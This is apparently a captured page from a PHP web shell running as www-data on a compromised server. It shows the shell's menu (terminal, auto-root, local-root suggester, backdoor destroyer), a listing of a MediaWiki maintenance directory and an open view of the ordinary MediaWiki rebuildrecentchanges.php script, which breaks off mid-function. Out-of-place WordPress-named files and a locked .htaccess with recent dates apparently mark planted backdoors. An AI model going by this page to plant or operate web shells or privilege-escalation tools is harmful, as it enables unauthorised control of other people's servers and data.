Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
wiki.bernardino.org /
maintenance /
Delete
Unzip
Name
Size
Permission
Date
Action
archives
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
benchmarks
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
cssjanus
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
dev
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
dictionary
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
dtrace
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
gearman
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
hhvm
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
hiphop
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
ibm_db2
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
jsduck
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
language
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
locking
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
mssql
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
oracle
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
postgres
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
resources
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
sqlite
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
storage
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
term
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
.htaccess
197
B
-r--r--r--
2026-08-22 08:29
7zip.inc
2.5
KB
-rw-r--r--
2016-11-28 20:20
Doxyfile
14.16
KB
-rw-r--r--
2016-11-28 20:20
Maintenance.php
42.74
KB
-rw-r--r--
2016-11-28 20:20
Makefile
582
B
-rw-r--r--
2016-11-28 20:20
README
2.87
KB
-rw-r--r--
2016-11-28 20:20
Site.php
351
B
-rw-r--r--
2011-09-29 22:59
addRFCandPMIDInterwiki.php
2.43
KB
-rw-r--r--
2016-11-28 20:20
addwiki.php
9.91
KB
-rw-r--r--
2011-08-14 11:27
attachLatest.php
2.98
KB
-rw-r--r--
2016-11-28 20:20
backup.inc
12.11
KB
-rw-r--r--
2016-11-28 20:20
backupPrefetch.inc
5.46
KB
-rw-r--r--
2016-11-28 20:20
cdb.php
3.09
KB
-rw-r--r--
2016-11-28 20:20
changePassword.php
2.43
KB
-rw-r--r--
2016-11-28 20:20
checkAutoLoader.php
1.99
KB
-rw-r--r--
2011-01-13 23:58
checkBadRedirects.php
1.94
KB
-rw-r--r--
2016-11-28 20:20
checkComposerLockUpToDate.php
2.02
KB
-rw-r--r--
2016-11-28 20:20
checkImages.php
2.4
KB
-rw-r--r--
2016-11-28 20:20
checkLess.php
1.91
KB
-rw-r--r--
2016-11-28 20:20
checkSyntax.php
9.27
KB
-rw-r--r--
2016-11-28 20:20
checkUsernames.php
1.97
KB
-rw-r--r--
2016-11-28 20:20
cleanupAncientTables.php
3.32
KB
-rw-r--r--
2016-11-28 20:20
cleanupBlocks.php
3.82
KB
-rw-r--r--
2016-11-28 20:20
cleanupCaps.php
5.07
KB
-rw-r--r--
2016-11-28 20:20
cleanupEmptyCategories.php
5.41
KB
-rw-r--r--
2016-11-28 20:20
cleanupImages.php
6.05
KB
-rw-r--r--
2016-11-28 20:20
cleanupPreferences.php
1.57
KB
-rw-r--r--
2016-11-28 20:20
cleanupRemovedModules.php
2.28
KB
-rw-r--r--
2016-11-28 20:20
cleanupSpam.php
4.89
KB
-rw-r--r--
2016-11-28 20:20
cleanupTable.inc
4.7
KB
-rw-r--r--
2016-11-28 20:20
cleanupTitles.php
5.67
KB
-rw-r--r--
2016-11-28 20:20
cleanupUploadStash.php
4.88
KB
-rw-r--r--
2016-11-28 20:20
cleanupWatchlist.php
2.86
KB
-rw-r--r--
2016-11-28 20:20
clearInterwikiCache.php
1.72
KB
-rw-r--r--
2016-11-28 20:20
clear_interwiki_cache.php
1.65
KB
-rw-r--r--
2011-01-13 23:58
clear_stats.php
1.93
KB
-rw-r--r--
2011-01-13 23:58
commandLine.inc
2.15
KB
-rw-r--r--
2016-11-28 20:20
compareParserCache.php
3.2
KB
-rw-r--r--
2016-11-28 20:20
compareParsers.php
5.41
KB
-rw-r--r--
2016-11-28 20:20
convertExtensionToRegistration.php
9.71
KB
-rw-r--r--
2016-11-28 20:20
convertLinks.php
9.76
KB
-rw-r--r--
2016-11-28 20:20
convertUserOptions.php
3.12
KB
-rw-r--r--
2016-11-28 20:20
copyFileBackend.php
14.42
KB
-rw-r--r--
2016-11-28 20:20
copyJobQueue.php
3.3
KB
-rw-r--r--
2016-11-28 20:20
createAndPromote.php
4.37
KB
-rw-r--r--
2016-11-28 20:20
createCommonPasswordCdb.php
3.51
KB
-rw-r--r--
2016-11-28 20:20
deleteArchivedFiles.inc
2.42
KB
-rw-r--r--
2011-01-21 18:42
deleteArchivedFiles.php
3.86
KB
-rw-r--r--
2016-11-28 20:20
deleteArchivedRevisions.inc
1.68
KB
-rw-r--r--
2011-07-01 04:25
deleteArchivedRevisions.php
2.09
KB
-rw-r--r--
2016-11-28 20:20
deleteBatch.php
3.78
KB
-rw-r--r--
2016-11-28 20:20
deleteDefaultMessages.php
2.69
KB
-rw-r--r--
2016-11-28 20:20
deleteEqualMessages.php
6.83
KB
-rw-r--r--
2016-11-28 20:20
deleteImageMemcached.php
2.27
KB
-rw-r--r--
2011-01-13 23:58
deleteOldRevisions.php
3.22
KB
-rw-r--r--
2016-11-28 20:20
deleteOrphanedRevisions.php
3.06
KB
-rw-r--r--
2016-11-28 20:20
deleteRevision.php
3.04
KB
-rw-r--r--
2016-11-28 20:20
deleteSelfExternals.php
1.84
KB
-rw-r--r--
2016-11-28 20:20
doMaintenance.php
4.14
KB
-rw-r--r--
2016-11-28 20:20
dumpBackup.php
4.87
KB
-rw-r--r--
2016-11-28 20:20
dumpHTML.php
204
B
-rw-r--r--
2008-02-27 07:19
dumpInterwiki.php
8.62
KB
-rw-r--r--
2011-09-29 22:59
dumpIterator.php
5.35
KB
-rw-r--r--
2016-11-28 20:20
dumpLinks.php
2.31
KB
-rw-r--r--
2016-11-28 20:20
dumpSisterSites.php
1.76
KB
-rw-r--r--
2011-01-13 23:58
dumpTextPass.php
28.87
KB
-rw-r--r--
2016-11-28 20:20
dumpUploads.php
3.72
KB
-rw-r--r--
2016-11-28 20:20
edit.php
3.4
KB
-rw-r--r--
2016-11-28 20:20
eraseArchivedFile.php
3.84
KB
-rw-r--r--
2016-11-28 20:20
eval.php
3.04
KB
-rw-r--r--
2016-11-28 20:20
exportSites.php
1.32
KB
-rw-r--r--
2016-11-28 20:20
fetchText.php
2.57
KB
-rw-r--r--
2016-11-28 20:20
fileOpPerfTest.php
4.7
KB
-rw-r--r--
2016-11-28 20:20
findDeprecated.php
5.52
KB
-rw-r--r--
2016-11-28 20:20
findHooks.php
10.19
KB
-rw-r--r--
2016-11-28 20:20
findMissingFiles.php
3.8
KB
-rw-r--r--
2016-11-28 20:20
findOrphanedFiles.php
4.28
KB
-rw-r--r--
2016-11-28 20:20
fixDefaultJsonContentPages.php
3.9
KB
-rw-r--r--
2016-11-28 20:20
fixDoubleRedirects.php
4
KB
-rw-r--r--
2016-11-28 20:20
fixExtLinksProtocolRelative.php
2.94
KB
-rw-r--r--
2016-11-28 20:20
fixSlaveDesync.php
6.19
KB
-rw-r--r--
2011-07-01 03:42
fixTimestamps.php
4.18
KB
-rw-r--r--
2016-11-28 20:20
fixUserRegistration.php
2.46
KB
-rw-r--r--
2016-11-28 20:20
formatInstallDoc.php
2.32
KB
-rw-r--r--
2016-11-28 20:20
fuzz-tester.php
101.66
KB
-rw-r--r--
2011-06-17 18:05
generateJsonI18n.php
6.35
KB
-rw-r--r--
2016-11-28 20:20
generateLocalAutoload.php
510
B
-rw-r--r--
2016-11-28 20:20
generateSitemap.php
13.62
KB
-rw-r--r--
2016-11-28 20:20
getConfiguration.php
5.16
KB
-rw-r--r--
2016-11-28 20:20
getLagTimes.php
1.83
KB
-rw-r--r--
2016-11-28 20:20
getReplicaServer.php
1.68
KB
-rw-r--r--
2016-11-28 20:20
getSlaveServer.php
71
B
-rw-r--r--
2016-11-28 20:20
getText.php
2.1
KB
-rw-r--r--
2016-11-28 20:20
importDump.php
8.93
KB
-rw-r--r--
2016-11-28 20:20
importImages.inc
4.14
KB
-rw-r--r--
2016-11-28 20:20
importImages.php
11.76
KB
-rw-r--r--
2016-11-28 20:20
importSiteScripts.php
3.43
KB
-rw-r--r--
2016-11-28 20:20
importSites.php
1.26
KB
-rw-r--r--
2016-11-28 20:20
importTextFile.php
2.95
KB
-rw-r--r--
2010-12-16 20:15
importTextFiles.php
6.39
KB
-rw-r--r--
2016-11-28 20:20
importUseModWiki.php
11.25
KB
-rw-r--r--
2011-05-18 00:03
importUseModWikipedia.php
25.67
KB
-rw-r--r--
2011-04-23 23:40
initEditCount.php
3.34
KB
-rw-r--r--
2016-11-28 20:20
initSiteStats.php
2.62
KB
-rw-r--r--
2016-11-28 20:20
initStats.php
2.67
KB
-rw-r--r--
2011-03-30 20:34
install.php
5.69
KB
-rw-r--r--
2016-11-28 20:20
interwiki.list
3.97
KB
-rw-r--r--
2016-11-28 20:20
interwiki.sql
4.66
KB
-rw-r--r--
2016-11-28 20:20
invalidateUserSessions.php
3.09
KB
-rw-r--r--
2016-11-28 20:20
jsparse.php
2.11
KB
-rw-r--r--
2016-11-28 20:20
lag.php
1.98
KB
-rw-r--r--
2016-11-28 20:20
makeTestEdits.php
2.15
KB
-rw-r--r--
2016-11-28 20:20
mcc.php
5.32
KB
-rw-r--r--
2016-11-28 20:20
mctest.php
3.35
KB
-rw-r--r--
2016-11-28 20:20
mergeMessageFileList.php
6.39
KB
-rw-r--r--
2016-11-28 20:20
migrateFileRepoLayout.php
7.32
KB
-rw-r--r--
2016-11-28 20:20
migrateUserGroup.php
3.54
KB
-rw-r--r--
2016-11-28 20:20
minify.php
3.84
KB
-rw-r--r--
2016-11-28 20:20
moveBatch.php
4.07
KB
-rw-r--r--
2016-11-28 20:20
mwdoc-filter.php
3.3
KB
-rw-r--r--
2016-11-28 20:20
mwdocgen.php
4.39
KB
-rw-r--r--
2016-11-28 20:20
mwjsduck-gen
54
B
-rwxr-xr-x
2016-11-28 20:20
namespaceDupes.php
18.67
KB
-rw-r--r--
2016-11-28 20:20
nextJobDB.php
4.24
KB
-rw-r--r--
2011-03-10 05:47
nukeNS.php
4.18
KB
-rw-r--r--
2016-11-28 20:20
nukePage.php
3.69
KB
-rw-r--r--
2016-11-28 20:20
orphans.php
7.2
KB
-rw-r--r--
2016-11-28 20:20
ourusers.php
2.3
KB
-rw-r--r--
2010-12-16 20:15
pageExists.php
1.51
KB
-rw-r--r--
2016-11-28 20:20
parse.php
3.42
KB
-rw-r--r--
2016-11-28 20:20
patchSql.php
2.04
KB
-rw-r--r--
2016-11-28 20:20
populateBacklinkNamespace.php
2.96
KB
-rw-r--r--
2016-11-28 20:20
populateCategory.php
4.01
KB
-rw-r--r--
2016-11-28 20:20
populateContentModel.php
6.51
KB
-rw-r--r--
2016-11-28 20:20
populateFilearchiveSha1.php
2.92
KB
-rw-r--r--
2016-11-28 20:20
populateImageSha1.php
5.9
KB
-rw-r--r--
2016-11-28 20:20
populateLogSearch.php
5.62
KB
-rw-r--r--
2016-11-28 20:20
populateLogUsertext.php
2.8
KB
-rw-r--r--
2016-11-28 20:20
populateParentId.php
4.37
KB
-rw-r--r--
2016-11-28 20:20
populateRecentChangesSource.php
3.08
KB
-rw-r--r--
2016-11-28 20:20
populateRevisionLength.php
4.41
KB
-rw-r--r--
2016-11-28 20:20
populateRevisionSha1.php
6.13
KB
-rw-r--r--
2016-11-28 20:20
populateSha1.php
3.13
KB
-rw-r--r--
2011-05-18 00:03
preprocessDump.php
2.78
KB
-rw-r--r--
2016-11-28 20:20
preprocessorFuzzTest.php
7.63
KB
-rw-r--r--
2016-11-28 20:20
protect.php
2.77
KB
-rw-r--r--
2016-11-28 20:20
proxy_check.php
1.18
KB
-rw-r--r--
2011-04-25 23:04
pruneFileCache.php
3.62
KB
-rw-r--r--
2016-11-28 20:20
purgeChangedFiles.php
8.26
KB
-rw-r--r--
2016-11-28 20:20
purgeChangedPages.php
6.24
KB
-rw-r--r--
2016-11-28 20:20
purgeList.php
4.04
KB
-rw-r--r--
2016-11-28 20:20
purgeOldText.inc
2.35
KB
-rw-r--r--
2011-07-01 03:42
purgeOldText.php
1.41
KB
-rw-r--r--
2016-11-28 20:20
purgeParserCache.php
2.8
KB
-rw-r--r--
2016-11-28 20:20
purgeStaleMemcachedText.php
989
B
-rw-r--r--
2010-12-26 00:23
reassignEdits.php
6.25
KB
-rw-r--r--
2016-11-28 20:20
rebuildFileCache.php
5.74
KB
-rw-r--r--
2016-11-28 20:20
rebuildImages.php
5.85
KB
-rw-r--r--
2016-11-28 20:20
rebuildInterwiki.php
8.84
KB
-rw-r--r--
2011-03-30 20:40
rebuildLocalisationCache.php
5.6
KB
-rw-r--r--
2016-11-28 20:20
rebuildSitesCache.php
1.82
KB
-rw-r--r--
2016-11-28 20:20
rebuildall.php
2.23
KB
-rw-r--r--
2016-11-28 20:20
rebuildmessages.php
1.7
KB
-rw-r--r--
2016-11-28 20:20
rebuildrecentchanges.php
13.95
KB
-rw-r--r--
2016-11-28 20:20
rebuildtextindex.php
4.66
KB
-rw-r--r--
2016-11-28 20:20
refreshFileHeaders.php
3.09
KB
-rw-r--r--
2016-11-28 20:20
refreshImageCount.php
1.71
KB
-rw-r--r--
2011-01-13 23:58
refreshImageMetadata.php
7.01
KB
-rw-r--r--
2016-11-28 20:20
refreshLinks.php
12.06
KB
-rw-r--r--
2016-11-28 20:20
removeInvalidEmails.php
1.99
KB
-rw-r--r--
2016-11-28 20:20
removeUnusedAccounts.php
4.85
KB
-rw-r--r--
2016-11-28 20:20
renameDbPrefix.php
2.96
KB
-rw-r--r--
2016-11-28 20:20
renamewiki.php
2.69
KB
-rw-r--r--
2011-03-30 21:44
renderDump.php
3.78
KB
-rw-r--r--
2016-11-28 20:20
resetUserEmail.php
2.25
KB
-rw-r--r--
2016-11-28 20:20
resetUserTokens.php
3.66
KB
-rw-r--r--
2016-11-28 20:20
rollbackEdits.php
3.38
KB
-rw-r--r--
2016-11-28 20:20
runBatchedQuery.php
1.99
KB
-rw-r--r--
2016-11-28 20:20
runJobs.php
3.34
KB
-rw-r--r--
2016-11-28 20:20
runScript.php
2
KB
-rw-r--r--
2016-11-28 20:20
showJobs.php
3.42
KB
-rw-r--r--
2016-11-28 20:20
showSiteStats.php
2.29
KB
-rw-r--r--
2016-11-28 20:20
showStats.php
2.25
KB
-rw-r--r--
2011-01-28 18:18
sql.php
5.46
KB
-rw-r--r--
2016-11-28 20:20
sqlite.inc
2.53
KB
-rw-r--r--
2016-11-28 20:20
sqlite.php
4.32
KB
-rw-r--r--
2016-11-28 20:20
stats.php
4.5
KB
-rw-r--r--
2011-03-08 19:01
syncFileBackend.php
10.55
KB
-rw-r--r--
2016-11-28 20:20
tables.sql
59.42
KB
-rw-r--r--
2016-11-28 20:20
tidyUpBug37714.php
1.42
KB
-rw-r--r--
2016-11-28 20:20
undelete.php
2.02
KB
-rw-r--r--
2016-11-28 20:20
update-keys.sql
1.47
KB
-rw-r--r--
2016-11-28 20:20
update.php
6.95
KB
-rwxr-xr-x
2016-11-28 20:20
updateArticleCount.php
2.3
KB
-rw-r--r--
2016-11-28 20:20
updateCollation.php
10.21
KB
-rw-r--r--
2016-11-28 20:20
updateCredits.php
2.25
KB
-rw-r--r--
2016-11-28 20:20
updateDoubleWidthSearch.php
2.35
KB
-rw-r--r--
2016-11-28 20:20
updateRestrictions.php
4.28
KB
-rw-r--r--
2016-11-28 20:20
updateSearchIndex.php
4.04
KB
-rw-r--r--
2016-11-28 20:20
updateSpecialPages.php
4.97
KB
-rw-r--r--
2016-11-28 20:20
upgrade1_5.php
42.82
KB
-rw-r--r--
2011-06-26 17:40
userDupes.inc
7.7
KB
-rw-r--r--
2016-11-28 20:20
userOptions.inc
7.12
KB
-rw-r--r--
2016-11-28 20:20
userOptions.php
1.17
KB
-rw-r--r--
2016-11-28 20:20
validateRegistrationFile.php
2.69
KB
-rw-r--r--
2016-11-28 20:20
waitForSlave.php
1.25
KB
-rw-r--r--
2011-01-13 23:58
wikipedia-interwiki.sql
12.71
KB
-rw-r--r--
2011-04-12 03:33
wiktionary-interwiki.sql
8.09
KB
-rw-r--r--
2011-04-12 03:33
wp-blog-header.php
2.74
KB
-r--r--r--
2026-08-22 08:29
wp-cron.php
2.74
KB
-rw-r--r--
2026-08-22 08:29
wrapOldPasswords.php
3.91
KB
-rw-r--r--
2016-11-28 20:20
Save
Rename
<?php /** * Rebuild recent changes from scratch. This takes several hours, * depending on the database size and server configuration. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * http://www.gnu.org/copyleft/gpl.html * * @file * @ingroup Maintenance * @todo Document */ require_once __DIR__ . '/Maintenance.php'; /** * Maintenance script that rebuilds recent changes from scratch. * * @ingroup Maintenance */ class RebuildRecentchanges extends Maintenance { /** @var integer UNIX timestamp */ private $cutoffFrom; /** @var integer UNIX timestamp */ private $cutoffTo; public function __construct() { parent::__construct(); $this->addDescription( 'Rebuild recent changes' ); $this->addOption( 'from', "Only rebuild rows in requested time range (in YYYYMMDDHHMMSS format)", false, true ); $this->addOption( 'to', "Only rebuild rows in requested time range (in YYYYMMDDHHMMSS format)", false, true ); $this->setBatchSize( 200 ); } public function execute() { if ( ( $this->hasOption( 'from' ) && !$this->hasOption( 'to' ) ) || ( !$this->hasOption( 'from' ) && $this->hasOption( 'to' ) ) ) { $this->error( "Both 'from' and 'to' must be given, or neither", 1 ); } $this->rebuildRecentChangesTablePass1(); $this->rebuildRecentChangesTablePass2(); $this->rebuildRecentChangesTablePass3(); $this->rebuildRecentChangesTablePass4(); $this->rebuildRecentChangesTablePass5(); if ( !( $this->hasOption( 'from' ) && $this->hasOption( 'to' ) ) ) { $this->purgeFeeds(); } $this->output( "Done.\n" ); } /** * Rebuild pass 1: Insert `recentchanges` entries for page revisions. */ private function rebuildRecentChangesTablePass1() { $dbw = $this->getDB( DB_MASTER ); if ( $this->hasOption( 'from' ) && $this->hasOption( 'to' ) ) { $this->cutoffFrom = wfTimestamp( TS_UNIX, $this->getOption( 'from' ) ); $this->cutoffTo = wfTimestamp( TS_UNIX, $this->getOption( 'to' ) ); $sec = $this->cutoffTo - $this->cutoffFrom; $days = $sec / 24 / 3600; $this->output( "Rebuilding range of $sec seconds ($days days)\n" ); } else { global $wgRCMaxAge; $days = $wgRCMaxAge / 24 / 3600; $this->output( "Rebuilding \$wgRCMaxAge=$wgRCMaxAge seconds ($days days)\n" ); $this->cutoffFrom = time() - $wgRCMaxAge; $this->cutoffTo = time(); } $this->output( "Clearing recentchanges table for time range...\n" ); $rcids = $dbw->selectFieldValues( 'recentchanges', 'rc_id', [ 'rc_timestamp > ' . $dbw->addQuotes( $dbw->timestamp( $this->cutoffFrom ) ), 'rc_timestamp < ' . $dbw->addQuotes( $dbw->timestamp( $this->cutoffTo ) ) ] ); foreach ( array_chunk( $rcids, $this->mBatchSize ) as $rcidBatch ) { $dbw->delete( 'recentchanges', [ 'rc_id' => $rcidBatch ], __METHOD__ ); wfGetLBFactory()->waitForReplication(); } $this->output( "Loading from page and revision tables...\n" ); $res = $dbw->select( [ 'page', 'revision' ], [ 'rev_timestamp', 'rev_user', 'rev_user_text', 'rev_comment', 'rev_minor_edit', 'rev_id', 'rev_deleted', 'page_namespace', 'page_title', 'page_is_new', 'page_id' ], [ 'rev_timestamp > ' . $dbw->addQuotes( $dbw->timestamp( $this->cutoffFrom ) ), 'rev_timestamp < ' . $dbw->addQuotes( $dbw->timestamp( $this->cutoffTo ) ), 'rev_page=page_id' ], __METHOD__, [ 'ORDER BY' => 'rev_timestamp DESC' ] ); $this->output( "Inserting from page and revision tables...\n" ); $inserted = 0; foreach ( $res as $row ) { $dbw->insert( 'recentchanges', [ 'rc_timestamp' => $row->rev_timestamp, 'rc_user' => $row->rev_user, 'rc_user_text' => $row->rev_user_text, 'rc_namespace' => $row->page_namespace, 'rc_title' => $row->page_title, 'rc_comment' => $row->rev_comment, 'rc_minor' => $row->rev_minor_edit, 'rc_bot' => 0, 'rc_new' => $row->page_is_new, 'rc_cur_id' => $row->page_id, 'rc_this_oldid' => $row->rev_id, 'rc_last_oldid' => 0, // is this ok? 'rc_type' => $row->page_is_new ? RC_NEW : RC_EDIT, 'rc_source' => $row->page_is_new ? $dbw->addQuotes( RecentChange::SRC_NEW ) : $dbw->addQuotes( RecentChange::SRC_EDIT ) , 'rc_deleted' => $row->rev_deleted ], __METHOD__ ); if ( ( ++$inserted % $this->mBatchSize ) == 0 ) { wfGetLBFactory()->waitForReplication(); } } } /** * Rebuild pass 2: Enhance entries for page revisions with references to the previous revision * (rc_last_oldid, rc_new etc.) and size differences (rc_old_len, rc_new_len). */ private function rebuildRecentChangesTablePass2() { $dbw = $this->getDB( DB_MASTER ); $this->output( "Updating links and size differences...\n" ); # Fill in the rc_last_oldid field, which points to the previous edit $res = $dbw->select( 'recentchanges', [ 'rc_cur_id', 'rc_this_oldid', 'rc_timestamp' ], [ "rc_timestamp > " . $dbw->addQuotes( $dbw->timestamp( $this->cutoffFrom ) ), "rc_timestamp < " . $dbw->addQuotes( $dbw->timestamp( $this->cutoffTo ) ) ], __METHOD__, [ 'ORDER BY' => 'rc_cur_id,rc_timestamp' ] ); $lastCurId = 0; $lastOldId = 0; $lastSize = null; $updated = 0; foreach ( $res as $obj ) { $new = 0; if ( $obj->rc_cur_id != $lastCurId ) { # Switch! Look up the previous last edit, if any $lastCurId = intval( $obj->rc_cur_id ); $emit = $obj->rc_timestamp; $row = $dbw->selectRow( 'revision', [ 'rev_id', 'rev_len' ], [ 'rev_page' => $lastCurId, "rev_timestamp < " . $dbw->addQuotes( $emit ) ], __METHOD__, [ 'ORDER BY' => 'rev_timestamp DESC' ] ); if ( $row ) { $lastOldId = intval( $row->rev_id ); # Grab the last text size if available $lastSize = !is_null( $row->rev_len ) ? intval( $row->rev_len ) : null; } else { # No previous edit $lastOldId = 0; $lastSize = null; $new = 1; // probably true } } if ( $lastCurId == 0 ) { $this->output( "Uhhh, something wrong? No curid\n" ); } else { # Grab the entry's text size $size = (int)$dbw->selectField( 'revision', 'rev_len', [ 'rev_id' => $obj->rc_this_oldid ], __METHOD__ ); $dbw->update( 'recentchanges', [ 'rc_last_oldid' => $lastOldId, 'rc_new' => $new, 'rc_type' => $new ? RC_NEW : RC_EDIT, 'rc_source' => $new === 1 ? $dbw->addQuotes( RecentChange::SRC_NEW ) : $dbw->addQuotes( RecentChange::SRC_EDIT ), 'rc_old_len' => $lastSize, 'rc_new_len' => $size, ], [ 'rc_cur_id' => $lastCurId, 'rc_this_oldid' => $obj->rc_this_oldid, 'rc_timestamp' => $obj->rc_timestamp // index usage ], __METHOD__ ); $lastOldId = intval( $obj->rc_this_oldid ); $lastSize = $size; if ( ( ++$updated % $this->mBatchSize ) == 0 ) { wfGetLBFactory()->waitForReplication(); } } } } /** * Rebuild pass 3: Insert `recentchanges` entries for action logs. */ private function rebuildRecentChangesTablePass3() { global $wgLogTypes, $wgLogRestrictions; $dbw = $this->getDB( DB_MASTER ); $this->output( "Loading from user, page, and logging tables...\n" ); $res = $dbw->select( [ 'user', 'logging', 'page' ], [ 'log_timestamp', 'log_user', 'user_name', 'log_namespace', 'log_title', 'log_comment', 'page_id', 'log_type', 'log_action', 'log_id', 'log_params', 'log_deleted' ], [ 'log_timestamp > ' . $dbw->addQuotes( $dbw->timestamp( $this->cutoffFrom ) ), 'log_timestamp < ' . $dbw->addQuotes( $dbw->timestamp( $this->cutoffTo ) ), 'log_user=user_id', // Some logs don't go in RC since they are private. // @FIXME: core/extensions also have spammy logs that don't go in RC. 'log_type' => array_diff( $wgLogTypes, array_keys( $wgLogRestrictions ) ), ], __METHOD__, [ 'ORDER BY' => 'log_timestamp DESC' ], [ 'page' => [ 'LEFT JOIN', [ 'log_namespace=page_namespace', 'log_title=page_title' ] ] ] ); $field = $dbw->fieldInfo( 'recentchanges', 'rc_cur_id' ); $inserted = 0; foreach ( $res as $row ) { $dbw->insert( 'recentchanges', [ 'rc_timestamp' => $row->log_timestamp, 'rc_user' => $row->log_user, 'rc_user_text' => $row->user_name, 'rc_namespace' => $row->log_namespace, 'rc_title' => $row->log_title, 'rc_comment' => $row->log_comment, 'rc_minor' => 0, 'rc_bot' => 0, 'rc_patrolled' => 1, 'rc_new' => 0, 'rc_this_oldid' => 0, 'rc_last_oldid' => 0, 'rc_type' => RC_LOG, 'rc_source' => $dbw->addQuotes( RecentChange::SRC_LOG ), 'rc_cur_id' => $field->isNullable() ? $row->page_id : (int)$row->page_id, // NULL => 0, 'rc_log_type' => $row->log_type, 'rc_log_action' => $row->log_action, 'rc_logid' => $row->log_id, 'rc_params' => $row->log_params, 'rc_deleted' => $row->log_deleted ], __METHOD__ ); if ( ( ++$inserted % $this->mBatchSize ) == 0 ) { wfGetLBFactory()->waitForReplication(); } } } /** * Rebuild pass 4: Mark bot and autopatrolled entries. */ private function rebuildRecentChangesTablePass4() { global $wgUseRCPatrol, $wgMiserMode; $dbw = $this->getDB( DB_MASTER ); list( $recentchanges, $usergroups, $user ) = $dbw->tableNamesN( 'recentchanges', 'user_groups', 'user' ); # @FIXME: recognize other bot account groups (not the same as users with 'bot' rights) # @NOTE: users with 'bot' rights choose when edits are bot edits or not. That information # may be lost at this point (aside from joining on the patrol log table entries). $botgroups = [ 'bot' ]; $autopatrolgroups = $wgUseRCPatrol ? User::getGroupsWithPermission( 'autopatrol' ) : []; # Flag our recent bot edits if ( $botgroups ) { $botwhere = $dbw->makeList( $botgroups ); $this->output( "Flagging bot account edits...\n" ); # Find all users that are bots $sql = "SELECT DISTINCT user_name FROM $usergroups, $user " . "WHERE ug_group IN($botwhere) AND user_id = ug_user"; $res = $dbw->query( $sql, __METHOD__ ); $botusers = []; foreach ( $res as $obj ) { $botusers[] = $obj->user_name; } # Fill in the rc_bot field if ( $botusers ) { $rcids = $dbw->selectFieldValues( 'recentchanges', 'rc_id', [ 'rc_user_text' => $botusers, "rc_timestamp > " . $dbw->addQuotes( $dbw->timestamp( $this->cutoffFrom ) ), "rc_timestamp < " . $dbw->addQuotes( $dbw->timestamp( $this->cutoffTo ) ) ], __METHOD__ ); foreach ( array_chunk( $rcids, $this->mBatchSize ) as $rcidBatch ) { $dbw->update( 'recentchanges', [ 'rc_bot' => 1 ], [ 'rc_id' => $rcidBatch ], __METHOD__ ); wfGetLBFactory()->waitForReplication(); } } } # Flag our recent autopatrolled edits if ( !$wgMiserMode && $autopatrolgroups ) { $patrolwhere = $dbw->makeList( $autopatrolgroups ); $patrolusers = []; $this->output( "Flagging auto-patrolled edits...\n" ); # Find all users in RC with autopatrol rights $sql = "SELECT DISTINCT user_name FROM $usergroups, $user " . "WHERE ug_group IN($patrolwhere) AND user_id = ug_user"; $res = $dbw->query( $sql, __METHOD__ ); foreach ( $res as $obj ) { $patrolusers[] = $dbw->addQuotes( $obj->user_name ); } # Fill in the rc_patrolled field if ( $patrolusers ) { $patrolwhere = implode( ',', $patrolusers ); $sql2 = "UPDATE $recentchanges SET rc_patrolled=1 " . "WHERE rc_user_text IN($patrolwhere) " . "AND rc_timestamp > " . $dbw->addQuotes( $dbw->timestamp( $this->cutoffFrom ) ) . ' ' . "AND rc_timestamp < " . $dbw->addQuotes( $dbw->timestamp( $this->cutoffTo ) ); $dbw->query( $sql2 ); } } } /** * Rebuild pass 5: Delete duplicate entries where we generate both a page revision and a log entry * for a single action (upload only, at the moment, but potentially also move, protect, ...). */ private function rebuildRecentChangesTablePass5() { $dbw = wfGetDB( DB_MASTER ); $this->output( "Removing duplicate revision and logging entries...\n" ); $res = $dbw->select( [ 'logging', 'log_search' ], [ 'ls_value', 'ls_log_id' ], [ 'ls_log_id = log_id', 'ls_field' => 'associated_rev_id', 'log_type' => 'upload', 'log_timestamp > ' . $dbw->addQuotes( $dbw->timestamp( $this->cutoffFrom ) ), 'log_timestamp < ' . $dbw->addQuotes( $dbw->timestamp( $this->cutoffTo ) ), ], __METHOD__ ); $updates = 0; foreach ( $res as $obj ) { $rev_id = $obj->ls_value; $log_id = $obj->ls_log_id; // Mark the logging row as having an associated rev id $dbw->update( 'recentchanges', /*SET*/ [ 'rc_this_oldid' => $rev_id ], /*WHERE*/ [ 'rc_logid' => $log_id ], __METHOD__ ); // Delete the revision row $dbw->delete( 'recentchanges', /*WHERE*/ [ 'rc_this_oldid' => $rev_id, 'rc_logid' => 0 ], __METHOD__ ); if ( ( ++$updates % $this->mBatchSize ) == 0 ) { wfGetLBFactory()->waitForReplication(); } } } /** * Purge cached feeds in $messageMemc */ private function purgeFeeds() { global $wgFeedClasses, $messageMemc; $this->output( "Deleting feed timestamps.\n" ); foreach ( $wgFeedClasses as $feed => $className ) { 